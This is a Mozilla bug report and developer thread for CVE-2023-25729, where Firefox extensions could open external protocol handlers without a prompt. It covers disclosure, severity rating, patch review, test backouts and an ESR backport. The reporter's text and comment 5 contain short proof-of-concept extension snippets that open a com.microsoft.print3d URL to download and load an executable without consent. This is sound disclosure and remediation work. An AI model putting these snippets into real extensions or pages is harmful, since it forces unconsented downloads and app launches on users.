1792138 - (CVE-2023-25729) Extensions are not prompted before opening external schemes, leading to security issues

Status: RESOLVED FIXED

(Firefox :: File Handling, defect, P1)

Description

[Vitor Torres]

Attachment: Mozilla Add-on to desmontrate the attack

VERSION

Firefox Version: 105.0 (64-bits)
Operating System: Windows 10 Pro Version 21H1 (Build 19043.2006)

VULNERABILITY DETAILS

This report covers an extension who could abuse default protocol handlers acceptance from the browser
to download any arbitrary file and tries to load with a windows default installed program.

Impact:

An extension can create an obscured window using the protocol print3d (default accepted by firefox), which
leads to the user downloading any type of files from an URL to the system and try to load this file using print3d software on Windows.

Here in this report, I'm covering the usage of the print3d protocol as an example but it could leave a door open for many more cases.

The extension can run things for the user anytime, from user clicks, user installed actionss and many more events, so i'm using this as example.

In this report I'm gonna use the extension to inject code on the DOM with a custom event and when this
custom event is called, the content.js file sends a message to the background.js which opens an minimal window
with the protocol handler and closes itself right after, obscuring what is causing this to download files and
the program on windows popup trying to load this file.

Impact: Downloading any type of files without the user awareness and possible load/execution of arbitrary code on users' systems or allow access to users' confidential information if the attacker goes further on the protocol to microsoft program which the Firefox accept as default and Chrome does't.
This protocol is not handled by Chrome because security issues too;

My example was just to demonstrate it can be obscured and abuse this or other cases with protocol handlers but it could be as simple as:

browser.action.onClicked.addListener(async () => {'
let window = await chrome.windows.create({url: "com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe"});
});

or

window.location.replace("com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe")

You can see the download file at:

Mitigation: Avoid the protocol handler com.microsoft.print3d as default accepted

REPRODUCTION CASE

1. Install the attached extension, the extension does not require any permission;

• about:debugging#/runtime/this-firefox
• Load temporary extension

2. Visit any page;
3. Once the extension reveals the new window, observe the interaction;
4. The user downloaded a file and tried to load it without consent;

Ps.: We could just not use the add-on the place on the site and use window.location.replace of something else

CREDIT INFORMATION

Reporter credit: Vitor Torres <https://github.com/vtorres/ or [e-mail]>

Comment 1

[Vitor Torres]

Attachment: Video demonstrating the behavior

Comment 2

[Daniel Veditz [:dveditz]]

Moving this to a better product (it's not a website bug!), possible not quite right. I'm supposed to be on vacation so I've only given it a surface glance. If you've installed a malicious extension you're in trouble, but it is worth making sure this is indeed a capability we want extensions to have that websites don't.

I think there might be two separate streams here

1. is the com.microsoft.print3d: scheme one we should restrict as dangerous generally? Or is our usual web page behavior of prompting sufficient? I suspect the usual behavior is fine unless there are known exploits for this thing. What does Chrome do?
2. from the video it appears web extension code doesn't have to prompt. Is that intentional, or a bug? Although the lack of prompting is great for an extension that was designed to work with particular installed software (what would happen if a user declined it? if we did prompt how would we explain who is doing the asking?), extensions should have to declare in the manifest which external schemes they intend to use in this manner. Open question on whether that's surfaced in the install prompt or just available for review.

Comment 3

[Vitor Torres]

The extension doesn't get prompted before opening the protocol handler scheme, so I would consider it a flaw/bug

If you directly open an HTML file containing something like window.location.replace("com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe"), both chrome and firefox will ask your permission to have it open

With the extension, you don't get prompted and the extension doesn't need any permissions configured on the manifest.json file, it's bypassing the prompt while the default behavior is prompting the user

Comment 4

[Vitor Torres]

And not only print3d protocol handler, but you can also test it with any schema - example calculator:

Comment 5

[Rob Wu [:robwu]]

Extensions are not prompted before opening external schemes due to the change from bug 1685682. In particular, the prompt is skipped due to https://searchfox.org/mozilla-central/rev/a26af613a476fafe6c3eba05a81bef63dff3c9f1/toolkit/mozapps/handling/ContentDispatchChooser.jsm#296-298

Regular web pages would not hit that exception, and trigger the prompt, as noted in comment 3.

PS. The PoC extension is unnecessarily complicated, and can be simplified by removing the content script that currently runs on all websites, and use a plain background script instead that calls browser.tabs.create({ url: "com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe", active: false }).

Comment 6

[Vitor Torres]

On the chrome browser, the window gets prompted if an extension opens up a window with a protocol handler scheme

Comment 7

[Vitor Torres]

A bit more about the surface attack with protocol handlers below:

https://parsiya.net/blog/2021-03-17-attack-surface-analysis-part-2-custom-protocol-handlers/#privilege-escalation-via-protocol-handlers

Comment 8

[Vitor Torres]

For example, this year we had the CVE-2022-30190 using the ms-search protocol, but it still would require to the user accept the browser prompt to open the application, without the prompt for this kind of attack surfaces would be nicer.
The attacker could even buy a niche extension from someone, adding to the code, and go crazy on the users

Comment 9

[:Gijs (he/him)]

(In reply to Rob Wu [:robwu] from comment #5)

Extensions are not prompted before opening external schemes due to the change from bug 1685682. In particular, the prompt is skipped due to https://searchfox.org/mozilla-central/rev/a26af613a476fafe6c3eba05a81bef63dff3c9f1/toolkit/mozapps/handling/ContentDispatchChooser.jsm#296-298

At the time there would still be a separate prompt to pick an application for protocols that had never been opened, but that is no longer the case (bug 1731898). Now there is only the permission prompt in tightly-coupled-protocol-to-app cases (so things like zoommtg, unlike mailto: or other generic protocols implemented by more than 1 app). Except for add-ons we do not show a permission prompt, so now there is no prompt at all in that case.

The comments in bug 1685682 suggest that we could not store the permission purely based on the add-on. Is that still accurate? Because it seems to me we could restore the permission prompt as long as we could reasonably make it persist if the user ticks the "always allow [addon] to open [app]" checkbox, without reintroducing the issue for which the bug got filed.

Comment 10

[Rob Wu [:robwu]]

When I read bug 1685682, I see that the issue there was caused by the inability to find a principal for the test case.
The test case was an external protocol triggered via a content script, which has an Expanded Principal consisting of the extension and web page.
The "fix" there was to skip the logic when isAddonOrExpandedAddonPrincipal.

That is the wrong fix IMO.

For regular Content Principals that happen to be add-ons, we can just use that principal.

For expanded principals related to add-ons, we should be using the web page's principal, i.e. the first in the list of principals of ExpandedPrincipal. The first principal is the document principal and not the extension principal, because (1) we set it as the first at https://searchfox.org/mozilla-central/rev/91ed81b76015e49ebd55a6de5df2b034456c15e8/toolkit/components/extensions/ExtensionContent.jsm#811 and currently more importantly (2) the re-sorting logic of ExpandedPrincipal does not re-order these two principals in practice. Furthermore, there is more code relying on this ordering.

An alternative is to choose the extension principal when an Expanded Principal is encountered. I am against this approach, because we're trying to get the content script behave like the web page where security decisions are made. Using the extension principal would mean that a web page could try to trick the content script into doing something with a different principal.

Comment 11

[Paul Zühlcke [:pbz]]

Thanks Rob! +1 on your proposal. Just the principal ordering seems a bit brittle. Perhaps we can at least add a comment where that order is established. Alternatively, could we add a more explicit way to get to the document principal from the expanded principal?

Comment 12

[Paul Zühlcke [:pbz]]

For content (addon) principals we can store a permission since they're regular content principals. The check here also supports the extension scheme: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#420

However, running the POC from this bug, I end up with a BrowsingContext with no chrome window associated that we can use for showing the dialog in. We fail the checks here: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#338,345

Comment 13

[Rob Wu [:robwu]]

(In reply to Paul Zühlcke [:pbz] from comment #11)

Thanks Rob! +1 on your proposal. Just the principal ordering seems a bit brittle. Perhaps we can at least add a comment where that order is established. Alternatively, could we add a more explicit way to get to the document principal from the expanded principal?

In comment 10 I already linked to the source where the order is initially set. The source where the order is preserved is in ExpandedPrincipal::Create (ExpandedPrincipal.cpp lines 56-63). As you can see there, there is some attempt at sorting, but in practice the moz-extension:-URL ends up last, after web content schemes such as http(s).
There is relevant discussion about this principal sorting behavior, in bug 1776755.

(In reply to Paul Zühlcke [:pbz] from comment #12)

For content (addon) principals we can store a permission since they're regular content principals. The check here also supports the extension scheme: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#420

However, running the POC from this bug, I end up with a BrowsingContext with no chrome window associated that we can use for showing the dialog in. We fail the checks here: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#338,345

The PoC opens a window and closes it. Could that result in the observed behavior of the disappeared window? In comment 5 I described a simpler STR. You can try it out by copying the code snippet at the end of that comment (inspect any extension with a background page at about:debugging and run the snippet there).

Comment 14

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:robwu, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 15

[Vitor Torres]

Please, before setting the severity here make sure to read the following
https://parsiya.net/blog/2021-03-17-attack-surface-analysis-part-2-custom-protocol-handlers/

Comment 16

[Vitor Torres]

• Follina ( CVE-2022-30190 ) and many others this year already

Comment 17

[Rob Wu [:robwu]]

needinfo pbz: for my response in comment 13, to make sure that the PoC and bug is well-understood.

Since the issue is in the ContentDispatchChooser component, I'm moving this to Firefox::File Handling. Feel free to tag me as a reviewer.

Comment 18

[Paul Zühlcke [:pbz]]

Sorry for the slow updates! I'm discussing this bug with Gijs next week. I'm particularly interested finding a solution for the cases where we don't have a tab to show the prompt in.

Comment 19

[Paul Zühlcke [:pbz]]

Thanks for taking this bug Dave! I see you already found our notes doc.

Comment 20

[Dave Townsend [:mossop]]

Attachment: Bug 1792138: Show the extension's name in permission prompts for opening external links. r=ckerschb!,robwu!,gijs!

Comment 21

[Dave Townsend [:mossop]]

Rob and Paul would you mind taking a quick look at what I have so far to make sure I haven't misunderstood the intent before I write some tests? For content scripts it shows the permission prompt using the pages principal, for the background script it uses the extension's name. I'm not sure if only passing the content page's principal to ContentDispatchChooser is the right thing but there doesn't seem to be a way from JavaScript to get the first principal from the expanded principal so it was the simplest solution.

(In reply to Rob Wu [:robwu] from comment #13)

(In reply to Paul Zühlcke [:pbz] from comment #12)

However, running the POC from this bug, I end up with a BrowsingContext with no chrome window associated that we can use for showing the dialog in. We fail the checks here: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#338,345

The PoC opens a window and closes it. Could that result in the observed behavior of the disappeared window? In comment 5 I described a simpler STR. You can try it out by copying the code snippet at the end of that comment (inspect any extension with a background page at about:debugging and run the snippet there).

In my tests with the patch we do actually end up showing the prompt in the newly created window but then the extension closes the window so quickly that you just can't see it, in which case the link just isn't opened. We could attempt to move the permission prompt into its own window in the window containing it is closed but I think we're better off just leaving this as is.

Comment 22

[Rob Wu [:robwu]]

(In reply to Dave Townsend [:mossop] from comment #21)

Rob and Paul would you mind taking a quick look at what I have so far to make sure I haven't misunderstood the intent before I write some tests? For content scripts it shows the permission prompt using the pages principal, for the background script it uses the extension's name. I'm not sure if only passing the content page's principal to ContentDispatchChooser is the right thing but there doesn't seem to be a way from JavaScript to get the first principal from the expanded principal so it was the simplest solution.

Looks good to me.

(In reply to Rob Wu [:robwu] from comment #13)

(In reply to Paul Zühlcke [:pbz] from comment #12)

However, running the POC from this bug, I end up with a BrowsingContext with no chrome window associated that we can use for showing the dialog in. We fail the checks here: https://searchfox.org/mozilla-central/rev/19f4fa1c9253a783b0ec2664f2bd91ce963aeec0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#338,345

The PoC opens a window and closes it. Could that result in the observed behavior of the disappeared window? In comment 5 I described a simpler STR. You can try it out by copying the code snippet at the end of that comment (inspect any extension with a background page at about:debugging and run the snippet there).

In my tests with the patch we do actually end up showing the prompt in the newly created window but then the extension closes the window so quickly that you just can't see it, in which case the link just isn't opened. We could attempt to move the permission prompt into its own window in the window containing it is closed but I think we're better off just leaving this as is.

This sounds OK to me too. We can't do much if an extension decides to close the window where we're rendering the UI.

Comment 23

[:Gijs (he/him)]

(In reply to Dave Townsend [:mossop] from comment #21)

I'm not sure if only passing the content page's principal to ContentDispatchChooser is the right thing but there doesn't seem to be a way from JavaScript to get the first principal from the expanded principal so it was the simplest solution.

I'm a little nervous about this because e.g. in the case of bug 1685682 this means that youtube will always be able to open potplayer links at will (once permission is given permanently), rather than the add-on always being able to open such links. It seems safer to have this permission relate to the add-on vs. to the website, depending on what the external app does etc.? But maybe that's just me... I'm curious what Paul thinks.

Comment 24

[Rob Wu [:robwu]]

(In reply to :Gijs (he/him) from comment #23)

(In reply to Dave Townsend [:mossop] from comment #21)

I'm not sure if only passing the content page's principal to ContentDispatchChooser is the right thing but there doesn't seem to be a way from JavaScript to get the first principal from the expanded principal so it was the simplest solution.

I'm a little nervous about this because e.g. in the case of bug 1685682 this means that youtube will always be able to open potplayer links at will (once permission is given permanently), rather than the add-on always being able to open such links. It seems safer to have this permission relate to the add-on vs. to the website, depending on what the external app does etc.? But maybe that's just me... I'm curious what Paul thinks.

That's a fair point, to reduce the risk of the website or other extensions using the permission.
Most DOM APIs that carry permission UI are associated with the web page where the content scripts run. This doesn't mean that we can choose a different behavior for the ContentDispatchChooser if we wish, but if we care about consistency, then this is something to keep in mind.

A potential consequence of switching to the extension ContentPrincipal instead of the page's (from the ExpandedPrincipal) is that user could be prompted again despite just having granted permissions to the web page. That could be addressed by checking all principals when querying for access, and only writing to e.g. the extension principal when persisting access.

Note: An ExpandedPrincipal does not always contain an extension principal. E.g. with the userScripts API, it is possible to have an ExpandedPrincipal consisting of only the page's principal (source). This is meant to have some isolation between the user script and the web page, without the user script being given all extension permissions.

Comment 25

[Dave Townsend [:mossop]]

(In reply to Rob Wu [:robwu] from comment #24)

(In reply to :Gijs (he/him) from comment #23)

(In reply to Dave Townsend [:mossop] from comment #21)

I'm not sure if only passing the content page's principal to ContentDispatchChooser is the right thing but there doesn't seem to be a way from JavaScript to get the first principal from the expanded principal so it was the simplest solution.

I'm a little nervous about this because e.g. in the case of bug 1685682 this means that youtube will always be able to open potplayer links at will (once permission is given permanently), rather than the add-on always being able to open such links. It seems safer to have this permission relate to the add-on vs. to the website, depending on what the external app does etc.? But maybe that's just me... I'm curious what Paul thinks.

That's a fair point, to reduce the risk of the website or other extensions using the permission.
Most DOM APIs that carry permission UI are associated with the web page where the content scripts run. This doesn't mean that we can choose a different behavior for the ContentDispatchChooser if we wish, but if we care about consistency, then this is something to keep in mind.

A potential consequence of switching to the extension ContentPrincipal instead of the page's (from the ExpandedPrincipal) is that user could be prompted again despite just having granted permissions to the web page. That could be addressed by checking all principals when querying for access, and only writing to e.g. the extension principal when persisting access.

So sounds like what we should do is for the extension content script case check if the page has permission and if so proceed, if not check if the extension has permission and if not prompt to allow the extension to use the protocol. Does that sound right?

Comment 26

[:Gijs (he/him)]

(In reply to Dave Townsend [:mossop] from comment #25)

So sounds like what we should do is for the extension content script case check if the page has permission and if so proceed, if not check if the extension has permission and if not prompt to allow the extension to use the protocol. Does that sound right?

This sounds reasonable to me, yes.

Comment 27

[Dave Townsend [:mossop]]

(In reply to :Gijs (he/him) from comment #26)

(In reply to Dave Townsend [:mossop] from comment #25)

So sounds like what we should do is for the extension content script case check if the page has permission and if so proceed, if not check if the extension has permission and if not prompt to allow the extension to use the protocol. Does that sound right?

This sounds reasonable to me, yes.

This actually turns out to be fairly straightforward as permission checks for expanded principals already check whether any of the principals allow the action: https://searchfox.org/mozilla-central/rev/3c194fa1d6f339036d2ec9516bd310c6ad612859/extensions/permissions/PermissionManager.cpp#3753-3774

Comment 28

[Paul Zühlcke [:pbz]]

(In reply to Dave Townsend [:mossop] from comment #27)

(In reply to :Gijs (he/him) from comment #26)

(In reply to Dave Townsend [:mossop] from comment #25)

So sounds like what we should do is for the extension content script case check if the page has permission and if so proceed, if not check if the extension has permission and if not prompt to allow the extension to use the protocol. Does that sound right?

This sounds reasonable to me, yes.

This actually turns out to be fairly straightforward as permission checks for expanded principals already check whether any of the principals allow the action: https://searchfox.org/mozilla-central/rev/3c194fa1d6f339036d2ec9516bd310c6ad612859/extensions/permissions/PermissionManager.cpp#3753-3774

Nice! Sounds like we only have to special-handle the addFromPrincipal case since expanded principals are blocked here: https://searchfox.org/mozilla-central/rev/3c194fa1d6f339036d2ec9516bd310c6ad612859/extensions/permissions/PermissionManager.cpp#1690-1691

Comment 29

[Vitor Torres]

Hey guys, good morning
Awesome to see your conversation and thoughts on this thread
Now that everyone has an overview of the bug, the possible attacks, and why this behavior would be yummy
I would like to know what type of severity it will be set for this report, if possible
Thank you

Comment 30

[Daniel Veditz [:dveditz]]

Calling this sec-moderate. In certain cases you could gain RCE if you know of a particularly buggy protocol, but mitigating that broad impact is it would only affect users who have installed an extension that either wants to call that protocol maliciously, or foolishly tries to load whatever URLs it finds and could be fooled into loading one found in web content.

If you've got an intentionally malicious addon you've already got bad problems.

Loading random URLs is not a common action for most addons.

Comment 31

[Paul Zühlcke [:pbz]]

I want to raise a discussion point I made in the review:

I just realized, now that external protocol handler permissions can be set for extensions, how do users revoke these permission again? afaic we can't / don't show them in the permissions panel. This permission type doesn't have any preferences dialog which lists all set permissions. Users would have to purge their entire permissions database to get rid of the permission again.
For the content-script case we can consider using the site principal instead, but that still doesn't solve the case where a background script is using a tab to navigate to an external protocol. That's still a regular extension principal.

Are we OK with this permission not being explicitly revokeable? Should we consider building UI for it? I don't think we can completely get around setting permissions for extension principals...

Comment 32

[Paul Zühlcke [:pbz]]

As per robwu's comment on Phabricator, looks like we could clear the permissions on extension uninstall at least: https://searchfox.org/mozilla-central/rev/dd216c1307a2bf1b0d2465b9749fa86dac44303a/toolkit/components/extensions/Extension.jsm#524-567
That might be acceptable for now.

Comment 33

[:Gijs (he/him)]

(In reply to Paul Zühlcke [:pbz] from comment #31)

I want to raise a discussion point I made in the review:

I just realized, now that external protocol handler permissions can be set for extensions, how do users revoke these permission again?

Uninstall and reinstall the extension seems a not-entirely-unreasonable workaround if you don't want the extension to have a given permission (which it presumably needs to do most/all of its job - that's certainly the case for the one in bug 1685682). So I don't think this should cause a change in approach here. We can file a follow-up to investigate adding some UI to the add-on manager or something.

Comment 34

[Dave Townsend [:mossop]]

Attachment: Bug 1792138: Verify that protocol permission prompts for extensions show correctly. r=pbz!

Depends on D161282

Comment 35

[Dave Townsend [:mossop]]

Comment on attachment 9301996 [details]
Bug 1792138: Show the extension's name in permission prompts for opening external links. r=ckerschb!,robwu!,gijs!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: The exploit requires an external protocol present in the OS and a custom extension to be written.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: The existing patch applies with some minor conflicts that will be trivial to correct and introduce no risk.
• How likely is this patch to cause regressions; how much testing does it need?: We have automated tests and reviewers have performed some manual tests. Low risk of regression.
• Is Android affected?: No

Comment 36

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Comment on attachment 9301996 [details]
Bug 1792138: Show the extension's name in permission prompts for opening external links. r=ckerschb!,robwu!,gijs!

You don't actually need sec-approval for moderates; but lgtm!

Comment 37

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed: https://hg.mozilla.org/integration/autoland/rev/e14d089637861294d9cc4fe275f0ff24abd63b76

Backed out for causing mochitest failures in browser_protocol_ask_dialog_permission.js:
https://hg.mozilla.org/integration/autoland/rev/7be6ed2bf374e847cc23f13b88c7e80489004d4a

Push with failures: https://treeherder.mozilla.org/jobs?repo=autoland&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel&revision=e14d089637861294d9cc4fe275f0ff24abd63b76&selectedTaskRun=KwIeXOm8RiOW0mn0eiddMg.0
Failure log: https://treeherder.mozilla.org/logviewer?job_id=396839241&repo=autoland

[task 2022-11-17T12:59:38.824Z] 12:59:38     INFO - TEST-PASS | toolkit/components/extensions/test/mochitest/test_ext_protocolHandlers.html | correct url template 
[task 2022-11-17T12:59:38.824Z] 12:59:38     INFO - Buffered messages finished
[task 2022-11-17T12:59:38.825Z] 12:59:38     INFO - TEST-UNEXPECTED-FAIL | toolkit/components/extensions/test/mochitest/test_ext_protocolHandlers.html | Test timed out. - 

Comment 38

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

XPCshell failures are also from this: https://treeherder.mozilla.org/logviewer?job_id=396839196&repo=autoland

Comment 39

[Dave Townsend [:mossop]]

I probably need some additional guidance on landing this. I know we're not supposed to land the tests until later, but in this case the patch breaks one of the existing tests. I could fix that one testcase or potentially remove that one testcase and re-add it when the full tests eventually land. What do you suggest Tom?

Comment 40

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Sheriffs took another look, the XPCshell issue is unrelated.

Comment 41

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

For sec-moderates you don't need to worry about landing tests separately at a later date. (Unless you think the bug is particularly worrisome or 'high' for a moderate, but I don't think this bug qualifies.)

Comment 42

[Dave Townsend [:mossop]]

(In reply to Tom Ritter [:tjr] from comment #41)

For sec-moderates you don't need to worry about landing tests separately at a later date. (Unless you think the bug is particularly worrisome or 'high' for a moderate, but I don't think this bug qualifies.)

Ah ok. That is quite unclear from the docs so might be worth updating those.

Comment 43

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed: https://hg.mozilla.org/integration/autoland/rev/02a9e51358f138c5a7a6433b780d4f004f1e1a59

Backed out for causing mochitests failures on browser_ext_windows_create_url.js:
https://hg.mozilla.org/integration/autoland/rev/81747a41462cbd548f2c766f653ad862595cc4ec

Push with failures: https://treeherder.mozilla.org/jobs?repo=autoland&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel&revision=02a9e51358f138c5a7a6433b780d4f004f1e1a59
Failure log: https://treeherder.mozilla.org/logviewer?job_id=396857376&repo=autoland

TEST-UNEXPECTED-FAIL | browser/components/extensions/test/browser/browser_ext_windows_create_url.js | Test timed out -
and more tests failing after this.

Comment 44

[Dave Townsend [:mossop]]

The test is failing because it contains an extension that registers a protocol handler from the protocol_handlers and now the extension doesn't have permission to load from it. The test contains two different extensions that register two different handlers and then one extension attempts to open links from both. So some questions and assumptions I want to confirm before I figure out the fix:

1. Should an extension automatically be allowed to open urls to protocols it declares in its own manifest? I assume yes since it basically controls them anyway.
2. Should an extension automatically be allowed to open urls to protocols declared by other extensions? I assume no, but that will require changing the test to accept the prompt in the right cases.

Comment 45

[Rob Wu [:robwu]]

Depends on the implementation. Do you immediately know whether a protocol is going to resolve to an extension URL?
If yes: 1. Yes. 2. Maybe. We're requiring a prompt before custom protocols are opened, out of caution. But an extension protocol handler will resolve to an extension page that's presumably already web-accessible, so other extensions can reasonably easily discover the real URL and open that directly. So I wouldn't object to allowing extensions to open extension-defined protocol handlers, whether their own or others.

If not, i.e. when we don't know for sure that a protocol maps to an extension URL, then I would expect a prompt for both cases.

Comment 46

[Dave Townsend [:mossop]]

(In reply to Rob Wu [:robwu] from comment #45)

Depends on the implementation. Do you immediately know whether a protocol is going to resolve to an extension URL?

Well we have the protocol scheme, and that is what is defined in the extension's manifest file so I assume so. Though at the moment I haven't looked for a way to actually look that up.

If yes: 1. Yes. 2. Maybe. We're requiring a prompt before custom protocols are opened, out of caution. But an extension protocol handler will resolve to an extension page that's presumably already web-accessible, so other extensions can reasonably easily discover the real URL and open that directly. So I wouldn't object to allowing extensions to open extension-defined protocol handlers, whether their own or others.

If not, i.e. when we don't know for sure that a protocol maps to an extension URL, then I would expect a prompt for both cases.

(In reply to Rob Wu [:robwu] from comment #45)

Depends on the implementation. Do you immediately know whether a protocol is going to resolve to an extension URL?
If yes: 1. Yes. 2. Maybe. We're requiring a prompt before custom protocols are opened, out of caution. But an extension protocol handler will resolve to an extension page that's presumably already web-accessible, so other extensions can reasonably easily discover the real URL and open that directly. So I wouldn't object to allowing extensions to open extension-defined protocol handlers, whether their own or others.

If not, i.e. when we don't know for sure that a protocol maps to an extension URL, then I would expect a prompt for both cases.

I'm not immediately seeing a way to look up from a protocol that it is provided by an extension. There are hints (the preferred handler is an nsIWebHandlerApp and there are only specific protocols that the extension can register) but using those would be dubious. So that leaves me with three alternatives and I don't have a strong opinion either way:

1. Prompt for all extension provided protocols. I'll have to update any tests that use them to accept the prompts.
2. Allow an extension to access its own protocols, I can do this by adding the protocol permission when the extension is loaded but I will still have to update the test as it uses one extension to access a different extension's protocol handler.
3. Add a way to look up that a protocol is extension provided and allow extensions to call them. Doing this raises the question of whether websites should also be able to call extension provided protocols in the same way.

Comment 47

[Paul Zühlcke [:pbz]]

I'm fine with the simpler solution here, both (1) and (2) seem good. Maybe (2) is better because there is less friction for extensions. Is it clear to users that an extension manages a specific protocol? Does this get listed in the doorhanger on installation?

Comment 48

[:Gijs (he/him)]

(In reply to Dave Townsend [:mossop] from comment #42)

(In reply to Tom Ritter [:tjr] from comment #41)

For sec-moderates you don't need to worry about landing tests separately at a later date. (Unless you think the bug is particularly worrisome or 'high' for a moderate, but I don't think this bug qualifies.)

Ah ok. That is quite unclear from the docs so might be worth updating those.

FWIW I think when I last updated the docs in bug 1736003 I was kinda aiming to encourage people to always land tests separately (even for sec-moderate/sec-low). For new tests doing this isn't actually super hard and we do know that people watch our checkins etc.

I don't think that the "land tests separately" ever (even for sec-high/sec-crit, unless it literally paints a bulls-eye) extends to pre-existing tests that need updating to the degree that we disable those tests or something. I suspect we should have a conversation about what we want the policy to be/say, but it should probably be separate from this bug.

Comment 49

[Shane Caraveo (:mixedpuppy)]

I've spent a chunk of time thinking through this and looking at the related patches.

The failing test was written to ensure that web_accessible_resources is not required to allow access to pages defined by extension protocol_handlers. The prompting or not doesn't really play into that (except that the test needs to be modified to work again).

Originally there was not an explicit intention that an extension accessing any external protocol handler (provided by system or by extension) would bypass the prompt. That was done in bug 1685682.

I do not see a reason to skip the dialog for an extension making a request to one of these protocols. While it would be "nice" to not do that for an extensions own protocol, I think that is an edge case, so long as the selection is remembered correctly per the dialog option for that.

In summary, I think #1 Prompt for all extension provided protocols is the way to go, making sure bug 1685682 is not reintroduced.

Comment 50

[Dave Townsend [:mossop]]

(In reply to Shane Caraveo (:mixedpuppy) from comment #49)

In summary, I think #1 Prompt for all extension provided protocols is the way to go, making sure bug 1685682 is not reintroduced.

Ok I've gone ahead and updated the patch to bypass the permission prompts in browser_ext_windows_create_url.js and bug 1685682 is tested by the new cases I had already added to browser_protocol_ask_dialog_permission.js.

Comment 51

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Landed: https://hg.mozilla.org/mozilla-central/rev/514642d76faac1e27928ef6a94fd945228149925

Backed out for causing mochitests failures in test_ext_protocolHandlers.html:
https://hg.mozilla.org/integration/autoland/rev/1d70ddd306f3ee70202a2f1dc35b5e774a57d2f5

Push with failures: https://treeherder.mozilla.org/jobs?repo=autoland&group_state=expanded&selectedTaskRun=UoluZ5dCSq--InwGWyTR-Q.0&resultStatus=success%2Cpending%2Crunning%2Ctestfailed%2Cbusted%2Cexception%2Cusercancel&searchStr=mochitest&revision=514642d76faac1e27928ef6a94fd945228149925
Failure log: https://treeherder.mozilla.org/logviewer?job_id=399473329&repo=autoland

[task 2022-12-13T12:31:34.751Z] 12:31:34     INFO - TEST-PASS | toolkit/components/extensions/test/mochitest/test_ext_protocolHandlers.html | correct url template 
[task 2022-12-13T12:31:34.751Z] 12:31:34     INFO - Buffered messages finished
[task 2022-12-13T12:31:34.752Z] 12:31:34     INFO - TEST-UNEXPECTED-FAIL | toolkit/components/extensions/test/mochitest/test_ext_protocolHandlers.html | Test timed out. - 

Comment 52

[BugBot [:suhaib / :marco/ :calixte]]

There's a r+ patch which didn't land and no activity in this bug for 2 weeks.
:mossop, could you have a look please?
If you still have some work to do, you can add an action "Plan Changes" in Phabricator.
For more information, please visit auto_nag documentation.

Comment 53

[Dave Townsend [:mossop]]

Back from vacation/sickness, still working on this.

Comment 54

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Show the extension's name in permission prompts for opening external links. r=ckerschb,robwu,fluent-reviewers,pbz,flod
https://hg.mozilla.org/integration/autoland/rev/a994887abcef5c2aea8c08775a705b1b74177342
https://hg.mozilla.org/mozilla-central/rev/a994887abcef

Comment 55

[Ryan VanderMeulen [:RyanVM]]

Is this something we should consider for ESR backport? The new strings wouldn't necessarily be a blocker if yes as flod and I were already discussing doing a bump on ESR this cycle anyway. Looks like there's some test conflicts when testing the graft locally, but the rest appears to go cleanly.

Comment 56

[Dave Townsend [:mossop]]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #55)

Is this something we should consider for ESR backport? The new strings wouldn't necessarily be a blocker if yes as flod and I were already discussing doing a bump on ESR this cycle anyway. Looks like there's some test conflicts when testing the graft locally, but the rest appears to go cleanly.

Yes I think this is safe enough to backport. I have a backported patch I'm testing now.

Comment 57

[Dave Townsend [:mossop]]

Attachment: Bug 1792138: Show the extension's name in permission prompts for opening external links.

In order to handle the content script case correctly we must expose the
contentScriptAddonPolicy to JavaScript. With that we can always see what
extension is trying to perform an action and use its name rather than internal
ID in the dialog.

Comment 58

[Dave Townsend [:mossop]]

Comment on attachment 9315845 [details]
Bug 1792138: Show the extension's name in permission prompts for opening external links.

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: The patch is low risk and would allow us to open up the bug publicly sooner than would otherwise be possible.
• User impact if declined: This security issue will still be present in ESR 102
• Fix Landed on Version: 110
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch has been in Firefox for some time now, has good automated testing coverage and (other than the tests themselves) applied cleanly to the ESR branch.

Note that this patch requires the test-only patch from bug 1799632.

Comment 59

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9315845 [details]
Bug 1792138: Show the extension's name in permission prompts for opening external links.

